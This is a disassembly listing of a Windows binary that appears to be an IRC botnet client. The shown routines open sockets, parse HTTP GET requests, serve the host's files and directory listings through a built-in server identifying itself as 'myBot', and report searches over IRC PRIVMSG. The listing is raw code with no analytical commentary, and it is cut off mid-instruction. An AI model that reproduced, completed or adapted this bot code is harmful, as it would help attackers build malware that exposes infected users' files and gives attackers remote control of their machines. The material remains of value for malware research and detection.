90578004h, 6A2B35E8h dd 90A16671h, 83004CB3h, 5000B865h, 0B445C766h, 15FF0002h dd 4CB654h, 0B6458966h, 6AB4458Dh, 90575010h, 6A5481E8h dd 7DC08571h, 0E9C38B07h, 560h, 90570A6Ah, 6A7381E8h, 0D49D8971h dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 2DF2E890h, 0F883716Ah dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0CABFE8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 17C75E8h, 0FC08500h, 4BA84h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh dd 716A9B85h, 0FFF88390h, 491840Fh, 0C9330000h, 0FDD4B539h dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh dd 0FC458903h, 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h dd 6AFFFFFDh, 0E8575064h, 716A6B18h, 7FC08590h, 0D4958B52h dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah dd 0D48DFFECh, 57FFFFFDh, 2EA3E890h, 0D4E9716Ah, 8D000003h dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh dd 433ECCh, 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h dd 71E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h dd 82E90043h, 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h dd 0D44Ch, 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h dd 0FF50858Dh, 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h dd 560A7559h, 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh dd 433E6Ch, 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h dd 433E58h, 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h dd 590000D3h, 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h dd 0BF000002h, 433E2Ch, 0FF50858Dh, 5057FFFFh, 0D3C3E8h dd 0C0855900h, 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h dd 0D3ACh, 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h dd 858D2475h, 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h dd 7559C085h, 136A560Dh, 433DFC68h, 27BE900h, 858D0000h dd 0FFFFFF50h, 433DF468h, 51E85000h, 590000D3h, 7559C085h dd 0BE0A6A34h, 433DC8h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h dd 0FFFFFED8h, 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h dd 875FF50h, 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh dd 433DC0h, 0D306E850h, 85590000h, 2A7559C0h, 0A8BE056Ah dd 5900433Dh, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h dd 0E8A450FFh, 0C250h, 858D5059h, 0FFFFFF38h, 858DB2EBh dd 0FFFFFF50h, 433DA068h, 0C5E85000h, 590000D2h, 0F59C085h dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh dd 8D50EC45h, 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h dd 3D7868FFh, 0E8500043h, 0D861h, 0FF04858Dh, 0E850FFFFh dd 0C989h, 858DF88Bh, 0FFFFFD2Ch, 0C97BE850h, 45890000h dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C780h, 8D34C483h dd 0FFFF0485h, 0F475FFFFh, 3D706857h, 0E8500043h, 0CA5Eh dd 858D106Ah, 0FFFFFF04h, 8EE85056h, 830000CFh, 45891CC4h dd 0EC458DF4h, 0E8458D50h, 0E0458D50h, 0D8458D50h, 0C4458D50h dd 433D6468h, 2BE85000h, 830000CAh, 6A5618C4h, 3D44681Dh dd 1EE90043h, 8D000001h, 0FFFF5085h, 3D3C68FFh, 0E8500043h dd 0D1F4h, 59C08559h, 0E4850Fh, 6A560000h, 3D106828h, 75FF0043h dd 0FFD3FF08h, 458DF475h, 20E850C4h, 59000001h, 5901F883h dd 0B6850Fh, 458D0000h, 858D50C4h, 0FFFFF720h, 433CF468h dd 0C7E85000h, 830000C9h, 0B5390CC4h, 0FFFFFBBCh, 8D562375h dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh dd 0FFF920B5h, 0AB89E8FFh, 0C483FFFFh, 14AE814h, 0F8830000h dd 93850F01h, 56000000h, 0DC68176Ah, 0FF00433Ch, 0D3FF0875h dd 50C4458Dh, 0F720858Dh, 0BC68FFFFh, 5000433Ch, 0C969E8h dd 0CC48300h, 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h dd 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h dd 0FFFFAB2Bh, 8D14C483h, 0FFF72085h, 56E850FFh, 0FF000062h dd 4CE16005h, 2EEB5900h, 68206A56h, 433C98h, 858D1FEBh dd 0FFFFFF50h, 42D08868h, 0F5E85000h, 590000D0h, 7559C085h dd 1B6A560Dh, 433C7C68h, 875FF00h, 646AD3FFh, 0FD60858Dh dd 5056FFFFh, 0C5F3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh dd 8E0F087Dh, 0FFFFFB01h, 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CE3A8, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE3A8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F037 push dword_4CE3A8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F037: ; CODE XREF: ___:0040F01Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 26A0000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D3 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B7 push edi mov edi, 400h loc_40F07F: ; CODE XREF: ___:0040F0B4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE3A8 call near ptr 71AB1AF4h nop push 1 nop call near ptr 26A0F44h test byte ptr [esi+0Ch], 10h jz short loc_40F07F pop edi loc_40F0B7: ; CODE XREF: ___:0040F077j push esi call sub_41B05B pop ecx push dword_4CE3A8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40F0D3: ; CODE XREF: ___:0040F071j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D6 proc near ; DATA XREF: sub_401ACD+2284o ; sub_40BACE+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB654 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB6D4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E59C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CB680 cmp eax, 0FFFFFFFFh jz loc_40F4C1 push 7FFFFFFFh push edi call dword_4CB67C cmp eax, 0FFFFFFFFh jz loc_40F4C1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB6F0 cmp eax, 0FFFFFFFFh jz loc_40F4C1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AD: ; CODE XREF: sub_40F0D6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB63C cmp eax, 0FFFFFFFFh jz loc_40F4BC xor esi, esi mov [ebp+var_4], esi loc_40F1E3: ; CODE XREF: sub_40F0D6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB540 test eax, eax jz loc_40F4A7 cmp esi, [ebp+var_C] jnz short loc_40F265 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB6E8 cmp eax, 0FFFFFFFFh jz loc_40F4A7 xor ecx, ecx test ebx, ebx jbe short loc_40F237 lea edx, [ebp+var_134] loc_40F22B: ; CODE XREF: sub_40F0D6+15Fj cmp [edx], eax jz short loc_40F237 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22B loc_40F237: ; CODE XREF: sub_40F0D6+14Dj ; sub_40F0D6+157j cmp ecx, ebx jnz short loc_40F254 cmp ebx, 40h jnb short loc_40F254 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F254: ; CODE XREF: sub_40F0D6+163j ; sub_40F0D6+168j cmp eax, [ebp+var_8] jbe loc_40F4A7 mov [ebp+var_8], eax jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F265: ; CODE XREF: sub_40F0D6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB66C test eax, eax jg short loc_40F2F8 push esi call dword_4CB6EC xor ecx, ecx test ebx, ebx jbe loc_40F4A7 lea eax, [ebp+var_134] loc_40F2B7: ; CODE XREF: sub_40F0D6+1EBj cmp [eax], esi jz short loc_40F2C8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B7 jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F2C8: ; CODE XREF: sub_40F0D6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EC lea eax, [ebp+ecx*4+var_134] loc_40F2D6: ; CODE XREF: sub_40F0D6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D6 loc_40F2EC: ; CODE XREF: sub_40F0D6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F2F8: ; CODE XREF: sub_40F0D6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A7 loc_40F326: ; CODE XREF: sub_40F0D6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39F lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39F mov eax, offset asc_42D128 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B6 ; --------------------------------------------------------------------------- loc_40F39F: ; CODE XREF: sub_40F0D6+27Fj ; sub_40F0D6+291j lea eax, [ebp+var_18F0] push offset asc_433F14 ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3EA loc_40F3B6: ; CODE XREF: sub_40F0D6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CB: ; CODE XREF: sub_40F0D6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F326 jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F3EA: ; CODE XREF: sub_40F0D6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F434 lea eax, [ebp+var_134] loc_40F3F6: ; CODE XREF: sub_40F0D6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F407 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F6 jmp short loc_40F437 ; --------------------------------------------------------------------------- loc_40F407: ; CODE XREF: sub_40F0D6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42B lea eax, [ebp+ecx*4+var_134] loc_40F415: ; CODE XREF: sub_40F0D6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F415 loc_40F42B: ; CODE XREF: sub_40F0D6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F437 ; --------------------------------------------------------------------------- loc_40F434: ; CODE XREF: sub_40F0D6+318j mov esi, [ebp+var_4] loc_40F437: ; CODE XREF: sub_40F0D6+32Fj ; sub_40F0D6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F4A0 lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F4A0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB6F0 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B4 add esp, 14h jmp short loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F4A0: ; CODE XREF: sub_40F0D6+369j ; sub_40F0D6+38Fj push esi call dword_4CB6EC loc_40F4A7: ; CODE XREF: sub_40F0D6+11Dj ; sub_40F0D6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E3 jmp loc_40F1AD ; --------------------------------------------------------------------------- loc_40F4BC: ; CODE XREF: sub_40F0D6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C1: ; CODE XREF: sub_40F0D6+6Aj ; sub_40F0D6+92j ... call dword_4CB5E8 push eax lea eax, [ebp+var_8F0] push offset unk_433EEC push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F507 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A73 add esp, 14h loc_40F507: ; CODE XREF: sub_40F0D6+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC push [ebp+var_254] call sub_40B413 pop ecx push ebx call near ptr 2710000h nop pop edi pop esi pop ebx sub_40F0D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F531 proc near ; DATA XREF: sub_40F6B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F597 push offset aTextHtml ; "text/html" jmp short loc_40F59C ; --------------------------------------------------------------------------- loc_40F597: ; CODE XREF: sub_40F531+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59C: ; CODE XREF: sub_40F531+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2760000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 275151Ch nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F615 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F636 ; --------------------------------------------------------------------------- loc_40F615: ; CODE XREF: sub_40F531+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F636: ; CODE XREF: sub_40F531+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CB6A4 cmp [ebp+var_A4], edi jnz short loc_40F676 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF1 pop ecx pop ecx jmp short loc_40F693 ; --------------------------------------------------------------------------- loc_40F676: ; CODE XREF: sub_40F531+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96B add esp, 10h loc_40F693: ; CODE XREF: sub_40F531+143j push [ebp+var_44C] call dword_4CB6EC push [ebp+var_B4] call sub_40B413 pop ecx push edi call near ptr 2710000h nop pop edi pop esi sub_40F531 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B4 proc near ; CODE XREF: sub_40F0D6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6EA push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F3 ; --------------------------------------------------------------------------- loc_40F6EA: ; CODE XREF: sub_40F6B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F3: ; CODE XREF: sub_40F6B4+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78E mov [ebp+arg_8], 2 loc_40F71E: ; CODE XREF: sub_40F6B4+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75E cmp [ebp+esi+var_10C], 25h jnz short loc_40F75E cmp [ebp+esi+var_10B], 32h jnz short loc_40F75E cmp [ebp+esi+var_10A], 30h jnz short loc_40F75E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F778 ; --------------------------------------------------------------------------- loc_40F75E: ; CODE XREF: sub_40F6B4+7Aj ; sub_40F6B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76E push 5Ch pop eax jmp short loc_40F771 ; --------------------------------------------------------------------------- loc_40F76E: ; CODE XREF: sub_40F6B4+B3j movsx eax, al loc_40F771: ; CODE XREF: sub_40F6B4+B8j mov [ebp+ebx+var_210], al loc_40F778: ; CODE XREF: sub_40F6B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71E loc_40F78E: ; CODE XREF: sub_40F6B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429AD0 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_42A0A4 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26B0D2Fh push 1 cmp eax, 10h pop esi jz short loc_40F7DF cmp eax, 0FFFFFFFFh jnz short loc_40F7E2 push [ebp+arg_0] jmp loc_40F862 ; --------------------------------------------------------------------------- loc_40F7DF: ; CODE XREF: sub_40F6B4+11Cj mov [ebp+var_4], esi loc_40F7E2: ; CODE XREF: sub_40F6B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EF mov [ebp+var_4], esi loc_40F7EF: ; CODE XREF: sub_40F6B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86D cmp [ebp+arg_C], edi jz short loc_40F861 lea eax, [ebp+var_314] push offset asc_4341A0 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BC ; --------------------------------------------------------------------------- loc_40F861: ; CODE XREF: sub_40F6B4+152j push ebx loc_40F862: ; CODE XREF: sub_40F6B4+126j call dword_4CB6EC jmp loc_40F964 ; --------------------------------------------------------------------------- loc_40F86D: ; CODE XREF: sub_40F6B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 27308C8h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2760A61h nop push esi mov [ebp+var_330], eax nop call near ptr 2690934h loc_40F8BC: ; CODE XREF: sub_40F6B4+1ABj ; sub_40F6B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_43416C push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F7 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E594[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F531 push edi push edi nop call near ptr 26B0000h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E5A4[ecx], eax jz short loc_40F936 loc_40F924: ; CODE XREF: sub_40F6B4+280j cmp [ebp+var_318], edi jnz short loc_40F964 push 5 call near ptr 26A0F44h nop jmp short loc_40F924 ; --------------------------------------------------------------------------- loc_40F936: ; CODE XREF: sub_40F6B4+26Ej push ebx call dword_4CB6EC nop call near ptr 26B0857h push eax lea eax, [ebp+var_8C4] push offset unk_434134 push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AD add esp, 10h loc_40F964: ; CODE XREF: sub_40F6B4+1B4j ; sub_40F6B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96B proc near ; CODE XREF: sub_401ACD+777Bp ; sub_40F531+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_42A0A4 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC9 ; --------------------------------------------------------------------------- loc_40F9CA: ; CODE XREF: sub_40F96B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAF call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC9 ; --------------------------------------------------------------------------- loc_40FAAF: ; CODE XREF: sub_40F96B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC9: ; CODE XREF: sub_40F96B+5Aj ; sub_40F96B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, 